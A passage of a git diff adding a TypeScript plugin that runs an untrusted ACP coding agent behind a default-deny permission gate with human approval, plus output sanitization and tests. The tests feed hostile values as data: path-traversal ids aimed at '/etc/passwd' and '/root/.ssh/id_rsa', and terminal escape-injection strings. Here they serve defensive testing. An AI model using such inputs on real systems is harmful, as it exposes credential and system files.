+ const conn = {
+ newSession: vi.fn(async () => ({ sessionId, modes: undefined })),
+ loadSession: vi.fn(async () => ({ modes: undefined })),
+ };
+ return {
+ conn: conn as unknown as AcpConnection["conn"],
+ child: {} as AcpConnection["child"],
+ agentCapabilities: { loadSession: opts?.loadSession === true },
+ authMethods: [],
+ stderr: () => "",
+ dispose: () => {},
+ };
+ }
+
+ it("normalizes a sessionId containing path separators from session/new", async () => {
+ const conn = fakeConn("../../etc/passwd");
+ const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() });
+ expect(sessionId).not.toContain("/");
+ expect(sessionId).not.toContain("..");
+ });
+
+ it("bounds an absurdly long agent sessionId", async () => {
+ const conn = fakeConn("s".repeat(100_000));
+ const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() });
+ expect(sessionId.length).toBeLessThanOrEqual(256);
+ });
+
+ it("normalizes the resume id passed to loadAcpSession", async () => {
+ const conn = fakeConn("ignored", { loadSession: true });
+ const { sessionId } = await loadAcpSession(conn, {
+ sessionId: "../../../root/.ssh/id_rsa",
+ cwd: process.cwd(),
+ });
+ expect(sessionId).not.toContain("/");
+ expect(sessionId).not.toContain("..");
+ // The normalized id must also be what is forwarded over the wire to
+ // loadSession() — not the raw traversal string.
+ const loadSessionMock = conn.conn.loadSession as unknown as ReturnType;
+ expect(loadSessionMock).toHaveBeenCalledTimes(1);
+ const sentId = loadSessionMock.mock.calls[0][0].sessionId as string;
+ expect(sentId).toBe(sessionId);
+ expect(sentId).not.toContain("/");
+ expect(sentId).not.toContain("..");
+ });
+});
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/runtime-adapter.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/runtime-adapter.test.ts
new file mode 100644
index 0000000000..b62f8e534f
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/runtime-adapter.test.ts
@@ -0,0 +1,98 @@
+import { describe, it, expect, afterEach } from "vitest";
+import os from "node:os";
+import { fileURLToPath } from "node:url";
+import { AcpRuntimeAdapter } from "../runtime-adapter.js";
+import { killAllProcesses, activeProcessCount } from "../process-manager.js";
+import type { AcpSession, AgentRuntimeOptions } from "../types.js";
+
+const FIXTURE = fileURLToPath(new URL("./fixtures/echo-agent.mjs", import.meta.url));
+
+afterEach(() => {
+ killAllProcesses();
+});
+
+function makeAdapter(extra: Record = {}) {
+ return new AcpRuntimeAdapter({
+ acpBinaryPath: process.execPath,
+ acpArgs: [FIXTURE],
+ acpModel: "echo-agent",
+ ...extra,
+ });
+}
+
+function makeOptions(over: Partial = {}): AgentRuntimeOptions {
+ return {
+ cwd: process.cwd(),
+ systemPrompt: "be helpful",
+ ...over,
+ };
+}
+
+describe("AcpRuntimeAdapter (U3)", () => {
+ it("createSession spawns + opens a session with a real sessionId", async () => {
+ const adapter = makeAdapter();
+ const { session } = await adapter.createSession(makeOptions());
+ try {
+ expect(session.sessionId.length).toBeGreaterThan(0);
+ expect((session as AcpSession).connection).toBeDefined();
+ expect(session.lastModelDescription).toBe("acp/echo-agent");
+ } finally {
+ await adapter.dispose(session);
+ }
+ });
+
+ it("createSession persists actionGateContext and cwd on the session", async () => {
+ const adapter = makeAdapter();
+ const gate = { permissionPolicy: { rules: { command_execution: "allow" as const } } };
+ // cwd must be a real, spawnable directory (it is the subprocess cwd too).
+ const cwd = os.tmpdir();
+ const { session } = await adapter.createSession(
+ makeOptions({ cwd, actionGateContext: gate }),
+ );
+ try {
+ // Both reachable from the session object for the U5/U7 handlers to read.
+ expect((session as AcpSession).gate).toBe(gate);
+ expect(session.cwd).toBe(cwd);
+ } finally {
+ await adapter.dispose(session);
+ }
+ });
+
+ it("promptWithFallback drives a full turn to completion", async () => {
+ const adapter = makeAdapter();
+ const { session } = await adapter.createSession(makeOptions());
+ try {
+ await expect(adapter.promptWithFallback(session, "hello")).resolves.toBeUndefined();
+ } finally {
+ await adapter.dispose(session);
+ }
+ });
+
+ it("dispose tears down the subprocess and is idempotent", async () => {
+ const adapter = makeAdapter();
+ const { session } = await adapter.createSession(makeOptions());
+ expect(activeProcessCount()).toBe(1);
+ await adapter.dispose(session);
+ expect(activeProcessCount()).toBe(0);
+ // second dispose must not throw
+ await expect(adapter.dispose(session)).resolves.toBeUndefined();
+ expect(activeProcessCount()).toBe(0);
+ });
+
+ it("promptWithFallback rejects when the session has no live connection", async () => {
+ const adapter = makeAdapter();
+ await expect(
+ adapter.promptWithFallback({ sessionId: "x" } as never, "hi"),
+ ).rejects.toThrow(/no live connection/);
+ });
+
+ it("describeModel returns the session model description", async () => {
+ const adapter = makeAdapter();
+ const { session } = await adapter.createSession(makeOptions());
+ try {
+ expect(adapter.describeModel(session)).toBe("acp/echo-agent");
+ } finally {
+ await adapter.dispose(session);
+ }
+ });
+});
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/sanitize.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/sanitize.test.ts
new file mode 100644
index 0000000000..f19202dcf6
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/sanitize.test.ts
@@ -0,0 +1,113 @@
+import { describe, it, expect } from "vitest";
+import {
+ stripControlSequences,
+ boundString,
+ boundIdentifier,
+ DEFAULT_IDENTIFIER_MAX,
+ TRUNCATION_MARKER,
+} from "../sanitize.js";
+
+describe("stripControlSequences", () => {
+ it("removes CSI/SGR ANSI color escapes", () => {
+ const input = "\x1b[31mred\x1b[0m text";
+ expect(stripControlSequences(input)).toBe("red text");
+ });
+
+ it("removes OSC sequences (title-set injection)", () => {
+ const input = "before\x1b]0;malicious title\x07after";
+ expect(stripControlSequences(input)).toBe("beforeafter");
+ });
+
+ it("removes bare ESC and cursor-move escapes", () => {
+ const input = "a\x1b[2Jb\x1b[Hc";
+ expect(stripControlSequences(input)).toBe("abc");
+ });
+
+ it("drops C0/C1 control chars and DEL but keeps \\n and \\t", () => {
+ const input = "line1\nline2\tend\x00\x07\x7f\x9b";
+ expect(stripControlSequences(input)).toBe("line1\nline2\tend");
+ });
+
+ it("returns empty string for non-string / empty input", () => {
+ expect(stripControlSequences("")).toBe("");
+ // @ts-expect-error intentionally wrong type
+ expect(stripControlSequences(undefined)).toBe("");
+ // @ts-expect-error intentionally wrong type
+ expect(stripControlSequences(123)).toBe("");
+ });
+
+ it("leaves clean printable text untouched", () => {
+ expect(stripControlSequences("hello world 123 #$%")).toBe("hello world 123 #$%");
+ });
+});
+
+describe("boundString", () => {
+ it("returns input unchanged when within max", () => {
+ expect(boundString("short", 100)).toBe("short");
+ });
+
+ it("truncates and appends the marker when over max", () => {
+ const out = boundString("a".repeat(100), 50);
+ expect(out.length).toBe(50);
+ expect(out.endsWith(TRUNCATION_MARKER)).toBe(true);
+ });
+
+ it("never exceeds max length", () => {
+ const out = boundString("x".repeat(1000), 20);
+ expect(out.length).toBeLessThanOrEqual(20);
+ });
+
+ it("handles max <= marker length by hard slice", () => {
+ const out = boundString("abcdefgh", 3);
+ expect(out).toBe("abc");
+ });
+
+ it("returns empty for non-positive max or empty/non-string input", () => {
+ expect(boundString("abc", 0)).toBe("");
+ expect(boundString("abc", -5)).toBe("");
+ expect(boundString("", 10)).toBe("");
+ // @ts-expect-error intentionally wrong type
+ expect(boundString(undefined, 10)).toBe("");
+ });
+});
+
+describe("boundIdentifier", () => {
+ it("replaces path separators so the id cannot escape into a path", () => {
+ const out = boundIdentifier("../../etc/passwd");
+ expect(out).not.toContain("/");
+ expect(out).not.toContain("\\");
+ expect(out).not.toContain("..");
+ });
+
+ it("normalizes backslash separators and traversal", () => {
+ const out = boundIdentifier("..\\..\\windows\\system32");
+ expect(out).not.toContain("\\");
+ expect(out).not.toContain("..");
+ });
+
+ it("strips NUL bytes and control chars", () => {
+ const out = boundIdentifier("sess\x00ion\x1b[31mid");
+ expect(out).not.toContain("\x00");
+ expect(out).not.toContain("\x1b");
+ expect(out).toContain("session");
+ });
+
+ it("bounds length to the default cap", () => {
+ const out = boundIdentifier("s".repeat(10_000));
+ expect(out.length).toBe(DEFAULT_IDENTIFIER_MAX);
+ });
+
+ it("honors an explicit max", () => {
+ expect(boundIdentifier("abcdefgh", 4)).toBe("abcd");
+ });
+
+ it("passes a clean opaque id through unchanged", () => {
+ expect(boundIdentifier("sess-1234-abcd")).toBe("sess-1234-abcd");
+ });
+
+ it("returns empty for empty / non-string input", () => {
+ expect(boundIdentifier("")).toBe("");
+ // @ts-expect-error intentionally wrong type
+ expect(boundIdentifier(undefined)).toBe("");
+ });
+});
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/sdk-smoke.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/sdk-smoke.test.ts
new file mode 100644
index 0000000000..5d1eea82a6
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/sdk-smoke.test.ts
@@ -0,0 +1,25 @@
+import { describe, it, expect } from "vitest";
+import * as acp from "@agentclientprotocol/sdk";
+
+// U1 gating verification (KTD2): the integration is built on a day-old SDK.
+// These assertions fail the build if a load-bearing export is missing or
+// reshaped, surfacing a breaking change at U1 rather than deep in U2.
+describe("@agentclientprotocol/sdk export surface", () => {
+ it("exposes ClientSideConnection as a constructable", () => {
+ expect(typeof acp.ClientSideConnection).toBe("function");
+ });
+
+ it("exposes ndJsonStream as a function", () => {
+ expect(typeof acp.ndJsonStream).toBe("function");
+ });
+
+ it("exposes PROTOCOL_VERSION as the integer 1", () => {
+ expect(typeof acp.PROTOCOL_VERSION).toBe("number");
+ expect(acp.PROTOCOL_VERSION).toBe(1);
+ });
+
+ it("exposes the client/agent method maps used for routing", () => {
+ expect(acp.CLIENT_METHODS).toBeDefined();
+ expect(acp.AGENT_METHODS).toBeDefined();
+ });
+});
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/tool-mapping.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/tool-mapping.test.ts
new file mode 100644
index 0000000000..498c7d5d20
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/tool-mapping.test.ts
@@ -0,0 +1,45 @@
+import { describe, it, expect } from "vitest";
+import { toolDisplayName, normalizeToolArgs } from "../tool-mapping.js";
+
+describe("toolDisplayName", () => {
+ it("prefers an explicit title", () => {
+ expect(toolDisplayName({ title: "Run tests", kind: "execute" })).toBe("Run tests");
+ });
+
+ it("falls back to a label derived from kind when title is missing", () => {
+ expect(toolDisplayName({ kind: "execute" })).toBe("Execute");
+ expect(toolDisplayName({ kind: "read" })).toBe("Read");
+ expect(toolDisplayName({ kind: "switch_mode" })).toBe("Switch Mode");
+ });
+
+ it("treats an empty/whitespace title as missing", () => {
+ expect(toolDisplayName({ title: " ", kind: "edit" })).toBe("Edit");
+ expect(toolDisplayName({ title: "", kind: "fetch" })).toBe("Fetch");
+ });
+
+ it("falls back to 'tool' when both title and kind are absent", () => {
+ expect(toolDisplayName({})).toBe("tool");
+ expect(toolDisplayName({ title: null, kind: null })).toBe("tool");
+ });
+
+ it("falls back to 'tool' for an unknown kind", () => {
+ expect(toolDisplayName({ kind: "mystery" as never })).toBe("tool");
+ });
+});
+
+describe("normalizeToolArgs", () => {
+ it("returns the object when rawInput is a plain object", () => {
+ expect(normalizeToolArgs({ command: "ls" })).toEqual({ command: "ls" });
+ });
+
+ it("returns {} for undefined / null", () => {
+ expect(normalizeToolArgs(undefined)).toEqual({});
+ expect(normalizeToolArgs(null)).toEqual({});
+ });
+
+ it("returns {} for non-object / array inputs", () => {
+ expect(normalizeToolArgs("string")).toEqual({});
+ expect(normalizeToolArgs(42)).toEqual({});
+ expect(normalizeToolArgs([1, 2, 3])).toEqual({});
+ });
+});
diff --git a/plugins/fusion-plugin-acp-runtime/src/cli-spawn.ts b/plugins/fusion-plugin-acp-runtime/src/cli-spawn.ts
new file mode 100644
index 0000000000..f1aad70cb8
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/cli-spawn.ts
@@ -0,0 +1,61 @@
+// Resolves the ACP agent launch configuration from plugin settings.
+//
+// Unlike the Claude/Droid CLIs (one fixed binary per plugin), ACP is a protocol:
+// the user points this runtime at *any* ACP-compatible agent binary plus the
+// flag that puts it in ACP mode (e.g. `gemini --acp`). Settings therefore carry
+// an arbitrary binary + args, plus the conservative-by-default fs capability
+// toggles (KTD6: writes default OFF) and an env allow-list (KTD6b).
+
+export interface AcpCliSettings {
+ /** Agent binary to spawn (e.g. "gemini", "npx", an absolute path). */
+ binaryPath: string;
+ /** Arguments that launch the agent in ACP/stdio mode (e.g. ["--acp"]). */
+ args: string[];
+ /** Optional model identifier reported via describeModel. */
+ model?: string;
+ /** Advertise `fs/read_text_file` capability. Default: false (opt-in). */
+ fsRead: boolean;
+ /** Advertise `fs/write_text_file` capability. Default: false (opt-in, KTD6). */
+ fsWrite: boolean;
+ /**
+ * Environment variables to forward to the agent subprocess (KTD6b allow-list).
+ * The agent is untrusted; inherited `process.env` is NOT forwarded. Empty by
+ * default — callers opt specific vars in by name.
+ */
+ envAllowList: string[];
+ /**
+ * Risk S1 acknowledgement. The shipped default permission policy is
+ * `unrestricted` (every category → allow). Because the ACP agent is an
+ * untrusted subprocess, the permission floor refuses to auto-approve a
+ * *sensitive* category on a blanket `allow` disposition unless the user has
+ * explicitly acknowledged that risk by setting this true — otherwise such
+ * calls are escalated to approval (or denied when no approver exists).
+ * Default: false (safe).
+ */
+ allowUnrestricted: boolean;
+}
+
+function asTrimmedString(value: unknown): string | undefined {
+ return typeof value === "string" && value.trim().length > 0 ? value.trim() : undefined;
+}
+
+function asStringArray(value: unknown): string[] | undefined {
+ if (!Array.isArray(value)) return undefined;
+ const out = value.filter((v): v is string => typeof v === "string");
+ return out.length === value.length ? out : undefined;
+}
+
+function asBool(value: unknown): boolean {
+ return value === true;
+}
+
+export function resolveCliSettings(settings?: Record): AcpCliSettings {
+ const binaryPath = asTrimmedString(settings?.acpBinaryPath) ?? "acp-agent";
+ const args = asStringArray(settings?.acpArgs) ?? [];
+ const model = asTrimmedString(settings?.acpModel);
+ const fsRead = asBool(settings?.acpFsRead);
+ const fsWrite = asBool(settings?.acpFsWrite);
+ const envAllowList = asStringArray(settings?.acpEnvAllowList) ?? [];
+ const allowUnrestricted = asBool(settings?.acpAllowUnrestricted);
+ return { binaryPath, args, model, fsRead, fsWrite, envAllowList, allowUnrestricted };
+}
diff --git a/plugins/fusion-plugin-acp-runtime/src/control-handler.ts b/plugins/fusion-plugin-acp-runtime/src/control-handler.ts
new file mode 100644
index 0000000000..f51809c602
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/control-handler.ts
@@ -0,0 +1,301 @@
+// U5 — the SECURITY FLOOR for `session/request_permission`.
+//
+// The ACP agent is an UNTRUSTED subprocess. When it asks permission to run a
+// tool call, this resolver classifies the call PER-CATEGORY against Fusion's
+// live action gate and answers `allow_once` / `reject_once` / `cancelled`.
+//
+// Why per-category and not per-preset (S1 / KTD3a): Fusion's shipped default
+// policy preset is `unrestricted` (every category → allow). Mapping a preset id
+// straight to an outcome would auto-approve EVERY tool call of an untrusted
+// agent the instant a user selects the ACP runtime. So we classify the call's
+// `kind` into a Fusion category and read `gate.permissionPolicy.rules[category]`.
+//
+// Default-deny is the floor everywhere a decision can't be made safely:
+// - no gate / no permissionPolicy → deny
+// - an unmappable / missing / `other` kind → deny (most-restrictive)
+// - `require-approval` with no HITL machinery → deny
+// - the `allow_once` option isn't offered → reject (never `*_always`, S2)
+
+import type {
+ PermissionOption,
+ RequestPermissionResponse,
+ ToolCallUpdate,
+ ToolKind,
+} from "@agentclientprotocol/sdk";
+import type {
+ ApprovalStatus,
+ FusionCategory,
+ GateDisposition,
+ PermissionGate,
+} from "./types.js";
+
+/** Sentinel returned by `classifyToolKind` for an unmappable kind → force deny. */
+export const DENY = "deny" as const;
+
+/**
+ * Map an ACP `toolCall.kind` to a Fusion action-gate category (KTD3a).
+ *
+ * Read-only / benign kinds map to the implicit `exempt` category (always allow).
+ * `other`, `undefined`, and any unknown kind map to the `DENY` sentinel — the
+ * most-restrictive outcome — and MUST NOT fall through to allow.
+ */
+export function classifyToolKind(kind: ToolKind | null | undefined): FusionCategory | "exempt" | typeof DENY {
+ switch (kind) {
+ case "execute":
+ return "command_execution";
+ case "edit":
+ case "delete":
+ case "move":
+ return "file_write_delete";
+ case "fetch":
+ return "network_api";
+ case "read":
+ case "search":
+ case "think":
+ case "switch_mode":
+ return "exempt";
+ // "other", undefined, null, or anything unknown → most-restrictive deny.
+ default:
+ return DENY;
+ }
+}
+
+/**
+ * Select the ACP option to answer with, honoring the allow_once-ONLY rule (S2).
+ *
+ * - `allow` → an option whose `kind === "allow_once"`. Never `allow_always`
+ * (delegating a blanket grant to untrusted code loses Fusion's per-call
+ * interception). If no `allow_once` option is offered → fall back to deny.
+ * - `deny` → an option whose `kind === "reject_once"`. If none is offered the
+ * caller answers `{ outcome: "cancelled" }`. Never `reject_always`.
+ */
+export function selectOption(
+ decision: "allow" | "deny",
+ options: PermissionOption[],
+): { decision: "allow" | "deny"; optionId?: string } {
+ const list = Array.isArray(options) ? options : [];
+ if (decision === "allow") {
+ const allowOnce = list.find((o) => o?.kind === "allow_once");
+ if (allowOnce?.optionId) return { decision: "allow", optionId: allowOnce.optionId };
+ // No allow_once offered: do NOT up-grade to allow_always. Fall back to deny.
+ const rejectOnce = list.find((o) => o?.kind === "reject_once");
+ return { decision: "deny", optionId: rejectOnce?.optionId };
+ }
+ const rejectOnce = list.find((o) => o?.kind === "reject_once");
+ return { decision: "deny", optionId: rejectOnce?.optionId };
+}
+
+/** Build the ACP response for a resolved {decision, optionId}. */
+function buildResponse(sel: {
+ decision: "allow" | "deny";
+ optionId?: string;
+}): RequestPermissionResponse {
+ if (sel.optionId) {
+ return { outcome: { outcome: "selected", optionId: sel.optionId } };
+ }
+ // No usable option (e.g. deny with no reject_once offered) → cancelled.
+ return { outcome: { outcome: "cancelled" } };
+}
+
+/**
+ * Read the raw per-category disposition from the live policy (exempt → allow),
+ * before the Risk S1 acknowledgement escalation. Callers that gate untrusted
+ * actions should use `effectiveDisposition` (which applies the escalation); this
+ * is the unescalated primitive it builds on.
+ */
+export function dispositionFor(
+ category: FusionCategory | "exempt",
+ gate: PermissionGate,
+): GateDisposition {
+ if (category === "exempt") return "allow";
+ const rules = gate.permissionPolicy?.rules;
+ const disposition = rules?.[category];
+ // A category with no explicit rule is treated as require-approval (not allow):
+ // never silently allow an unmapped category for an untrusted agent.
+ return disposition ?? "require-approval";
+}
+
+/** A stable dedupe key for an identical tool call (decision reuse). */
+function dedupeKeyFor(toolCall: ToolCallUpdate, category: string): string {
+ return [toolCall.toolCallId ?? "", category, toolCall.title ?? ""].join("|");
+}
+
+/**
+ * Run the human-in-the-loop approval flow for a `require-approval` category.
+ *
+ * Requires `createApprovalRequest` (the one non-optional HITL closure). When it
+ * is absent there is no human channel → DEFAULT-DENY (never throw, never allow).
+ *
+ * Flow: reuse a prior decision via `findApprovalByDedupeKey` when present;
+ * otherwise register the request, block on `pauseForApproval`, re-read the final
+ * status, finalize via `markApprovalCompleted`. `approved` → allow; everything
+ * else (denied / pending / completed / lookup-failure) → deny.
+ */
+async function runApproval(
+ toolCall: ToolCallUpdate,
+ category: FusionCategory,
+ gate: PermissionGate,
+): Promise<"allow" | "deny"> {
+ return runApprovalForCategory(gate, {
+ category,
+ toolName: toolCall.title ?? category,
+ dedupeKey: dedupeKeyFor(toolCall, category),
+ args:
+ toolCall.rawInput && typeof toolCall.rawInput === "object"
+ ? (toolCall.rawInput as Record)
+ : {},
+ });
+}
+
+/**
+ * Run the HITL approval flow for an arbitrary `require-approval` action,
+ * identified by a category + dedupe key (not necessarily an ACP `toolCall`).
+ *
+ * Exported so the fs `writeTextFile` path (U7) routes its `file_write_delete`
+ * gating through the IDENTICAL approval machinery as U5 — register, block on
+ * `pauseForApproval`, re-read the final status, finalize — with the same
+ * default-deny floor when no human channel exists. Never throws, never allows
+ * on failure.
+ */
+export async function runApprovalForCategory(
+ gate: PermissionGate,
+ req: {
+ category: FusionCategory;
+ toolName: string;
+ dedupeKey: string;
+ args?: Record;
+ },
+): Promise<"allow" | "deny"> {
+ const { category, dedupeKey } = req;
+ if (typeof gate.createApprovalRequest !== "function") {
+ // No human channel available → default-deny.
+ return "deny";
+ }
+
+ const decisionPayload = {
+ disposition: "require-approval" as const,
+ category,
+ toolName: req.toolName,
+ approvalDedupeKey: dedupeKey,
+ };
+
+ const mapStatus = (status: ApprovalStatus | undefined): "allow" | "deny" =>
+ status === "approved" ? "allow" : "deny";
+
+ try {
+ // Reuse a prior decision for an identical call when available.
+ if (typeof gate.findApprovalByDedupeKey === "function") {
+ const prior = await gate.findApprovalByDedupeKey(dedupeKey);
+ if (prior && (prior.status === "approved" || prior.status === "denied")) {
+ return mapStatus(prior.status);
+ }
+ }
+
+ // Default-deny BEFORE creating a request when the HITL round-trip cannot
+ // complete: without `pauseForApproval` we cannot block for a decision, and
+ // without `findApprovalByDedupeKey` we cannot READ the decision after the
+ // pause — a human approval would be silently discarded (mapStatus(undefined)
+ // → deny). Denying upfront never orphans a pending record and never wastes
+ // a human's approval on an outcome that would be denied anyway.
+ if (
+ typeof gate.pauseForApproval !== "function" ||
+ typeof gate.findApprovalByDedupeKey !== "function"
+ ) {
+ return "deny";
+ }
+
+ const created = (await gate.createApprovalRequest(
+ decisionPayload,
+ req.args ?? {},
+ )) as { id?: string } | undefined;
+ const approvalRequestId = typeof created?.id === "string" ? created.id : dedupeKey;
+
+ await gate.pauseForApproval({ approvalRequestId, decision: decisionPayload });
+
+ // Re-read the final status after the pause resolves.
+ let finalStatus: ApprovalStatus | undefined;
+ if (typeof gate.findApprovalByDedupeKey === "function") {
+ const resolved = await gate.findApprovalByDedupeKey(dedupeKey);
+ finalStatus = resolved?.status;
+ }
+
+ if (typeof gate.markApprovalCompleted === "function") {
+ await gate.markApprovalCompleted(approvalRequestId);
+ }
+
+ return mapStatus(finalStatus);
+ } catch {
+ // Any HITL failure (timeout/dismiss/store error) → default-deny, no throw.
+ return "deny";
+ }
+}
+
+/**
+ * The full per-call security floor: classify → read the per-category
+ * disposition → run HITL for `require-approval` → select an `allow_once`-only
+ * option → build the ACP response.
+ *
+ * Default-deny on: missing gate, missing `permissionPolicy`, unmappable kind,
+ * `require-approval` without a resolvable approver, or a missing `allow_once`
+ * option.
+ */
+export interface ResolvePermissionOptions {
+ /**
+ * Risk S1 acknowledgement. When false (the safe default), a blanket `allow`
+ * disposition on a *sensitive* category is escalated to `require-approval`
+ * rather than auto-approved — so the shipped `unrestricted` default policy
+ * does not silently green-light an untrusted agent's command/file/network
+ * calls. The user opts out of the escalation by acknowledging the risk.
+ */
+ allowUnrestricted?: boolean;
+}
+
+/**
+ * Per-category disposition with the Risk S1 acknowledgement escalation applied:
+ * a *sensitive* category the policy would `allow` is upgraded to
+ * `require-approval` unless `allowUnrestricted` is set. `exempt` (read-only)
+ * never escalates. Exported so the fs write path applies the identical rule.
+ */
+export function effectiveDisposition(
+ category: FusionCategory | "exempt",
+ gate: PermissionGate,
+ opts?: ResolvePermissionOptions,
+): GateDisposition {
+ const disposition = dispositionFor(category, gate);
+ if (disposition === "allow" && category !== "exempt" && opts?.allowUnrestricted !== true) {
+ return "require-approval";
+ }
+ return disposition;
+}
+
+export async function resolvePermission(
+ toolCall: ToolCallUpdate,
+ options: PermissionOption[],
+ gate: PermissionGate | undefined,
+ opts?: ResolvePermissionOptions,
+): Promise {
+ // No gate / no policy → default-deny.
+ if (!gate || !gate.permissionPolicy) {
+ return buildResponse(selectOption("deny", options));
+ }
+
+ const category = classifyToolKind(toolCall?.kind);
+ // Unmappable / missing / `other` kind → most-restrictive deny.
+ if (category === DENY) {
+ return buildResponse(selectOption("deny", options));
+ }
+
+ // Per-category disposition + S1 acknowledgement escalation.
+ const disposition = effectiveDisposition(category, gate, opts);
+
+ if (disposition === "allow") {
+ return buildResponse(selectOption("allow", options));
+ }
+ if (disposition === "block") {
+ return buildResponse(selectOption("deny", options));
+ }
+
+ // require-approval → HITL (or default-deny when no human channel exists).
+ const decision = await runApproval(toolCall, category as FusionCategory, gate);
+ return buildResponse(selectOption(decision, options));
+}
diff --git a/plugins/fusion-plugin-acp-runtime/src/event-bridge.ts b/plugins/fusion-plugin-acp-runtime/src/event-bridge.ts
new file mode 100644
index 0000000000..94d41a42b8
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/event-bridge.ts
@@ -0,0 +1,307 @@
+// Event bridge: translate ACP `session/update` notifications into Fusion's
+// `AgentRuntime` callbacks (onText / onThinking / onToolStart / onToolEnd) so an
+// ACP agent renders identically to existing runtimes.
+//
+// Scope (U4): mapping only. Output BYTE bounds + string sanitization are U6 — no
+// caps are applied here. Permission requests are U5.
+//
+// Design notes:
+// - Tolerant: every field except the `sessionUpdate` discriminator and
+// `toolCallId` is optional/partial. The handler NEVER throws on a malformed or
+// partial update; unknown/forward-compat tags are ignored silently.
+// - Tool start/end correlation: a `tool_call` records `{ title, kind }` keyed by
+// `toolCallId`; a later `tool_call_update` carries that metadata forward when
+// the update omits it, then fires `onToolEnd` once the status reaches a
+// terminal value (`completed` / `failed`).
+// - Plans are FULL REPLACEMENTS: each `plan` (or `plan_update`) update replaces
+// the prior snapshot wholesale; we never accumulate across updates.
+
+import type {
+ SessionUpdate,
+ ContentBlock,
+ ToolKind,
+ PlanEntry,
+} from "@agentclientprotocol/sdk";
+import type { AcpCallbacks } from "./types.js";
+import { toolDisplayName, normalizeToolArgs } from "./tool-mapping.js";
+import { stripControlSequences, boundString, boundIdentifier } from "./sanitize.js";
+
+// --- U6 untrusted-input bounds (Risk S5) -----------------------------------
+//
+// The agent is untrusted input. The high inactivity ceiling (KTD4) does NOT
+// bound an *actively* flooding agent, so the bridge caps what it forwards.
+
+/**
+ * Per-turn cumulative cap (chars) on forwarded text+thinking. Once exceeded, the
+ * bridge stops forwarding further text/thinking and emits ONE truncation flag.
+ * Cleared by `reset()` at the start of each prompt turn. ~5M chars ≈ 5 MB.
+ */
+export const PER_TURN_OUTPUT_CAP_CHARS = 5_000_000;
+
+/** Per-chunk cap (chars) applied to a single content chunk before forwarding. */
+export const PER_CHUNK_CAP_CHARS = 64_000;
+
+/**
+ * Max number of distinct `toolCallId`s tracked in the correlation map. A flooding
+ * agent supplying unbounded unique ids must not grow the map without limit —
+ * oldest entries are evicted once the cap is exceeded (bounded memory).
+ */
+export const TOOL_CALL_MAP_CAP = 1000;
+
+/**
+ * Max plan entries formatted into the plan log line. Entry size is bounded in
+ * formatPlan; this bounds the COUNT so one plan event cannot bypass the
+ * per-turn output budget with thousands of 64KB entries (Risk S5).
+ */
+export const MAX_PLAN_ENTRIES = 100;
+
+/** Tracked metadata for an in-flight tool call, keyed by `toolCallId`. */
+interface TrackedToolCall {
+ title?: string | null;
+ kind?: ToolKind | null;
+ /** Whether onToolEnd has already fired (terminal status seen). */
+ ended: boolean;
+}
+
+export interface EventBridge {
+ /** Process one `session/update` payload (`params.update`). Never throws. */
+ handleSessionUpdate(update: SessionUpdate): void;
+ /** Clear per-turn correlation state (tool calls, plan snapshot, last text). */
+ reset(): void;
+}
+
+/** Extract plain text from a `ContentBlock`, or `undefined` for non-text blocks. */
+function extractText(content: ContentBlock | undefined): string | undefined {
+ if (content && content.type === "text" && typeof content.text === "string") {
+ return content.text;
+ }
+ return undefined;
+}
+
+/**
+ * Repair the specific "sentence punctuation + capitalized next sentence" case
+ * where an agent splits adjacent sentences across chunks without the separating
+ * space. Mirrors the droid runtime's `normalizeStreamingDelta` — conservative so
+ * code, domains, and lowercase continuations are left untouched.
+ */
+function normalizeStreamingDelta(previousText: string, nextDelta: string): string {
+ if (!previousText || !nextDelta) return nextDelta;
+ const previousChar = previousText.slice(-1);
+ const nextChar = nextDelta[0] ?? "";
+ if (/\s/.test(previousChar) || /\s/.test(nextChar)) return nextDelta;
+ if (/[.!?]/.test(previousChar) && /[A-Z0-9"'([]/.test(nextChar)) {
+ return ` ${nextDelta}`;
+ }
+ return nextDelta;
+}
+
+/** Format a plan snapshot into a single thinking/log line. */
+function formatPlan(entries: PlanEntry[]): string {
+ const lines = entries.map((entry) => {
+ const status = typeof entry.status === "string" ? entry.status : "pending";
+ // Plan text is agent-supplied — sanitize control/ANSI before it reaches a
+ // log/UI line (Risk S7) and bound its length (Risk S5).
+ const rawText = typeof entry.content === "string" ? entry.content : "";
+ const text = boundString(stripControlSequences(rawText), PER_CHUNK_CAP_CHARS);
+ return `- [${stripControlSequences(status)}] ${text}`;
+ });
+ return `Plan:\n${lines.join("\n")}`;
+}
+
+export function createEventBridge(callbacks: AcpCallbacks): EventBridge {
+ // Start/end correlation across `tool_call` → `tool_call_update`. Insertion
+ // order is preserved by Map, so the oldest key is the first iterator entry —
+ // used for FIFO eviction once TOOL_CALL_MAP_CAP is exceeded (Risk S5).
+ const toolCalls = new Map();
+ // Running text/thinking accumulators for delta-space repair across chunks.
+ let textSoFar = "";
+ let thinkingSoFar = "";
+ // Cumulative chars forwarded (text+thinking) this turn (Risk S5).
+ let cumulativeOutputChars = 0;
+ // Whether the per-turn cap was hit and the single flag line already emitted.
+ let outputCapFlagged = false;
+
+ function reset(): void {
+ toolCalls.clear();
+ textSoFar = "";
+ thinkingSoFar = "";
+ cumulativeOutputChars = 0;
+ outputCapFlagged = false;
+ }
+
+ /**
+ * Track a bounded toolCallId for use as a Map key, evicting the oldest entry
+ * when the cap is exceeded so a flood of unique ids cannot grow memory without
+ * limit. Returns the normalized id, or `undefined` when the id is empty.
+ */
+ function setTracked(rawId: string, tracked: TrackedToolCall): string | undefined {
+ const id = boundIdentifier(rawId);
+ if (id === "") return undefined;
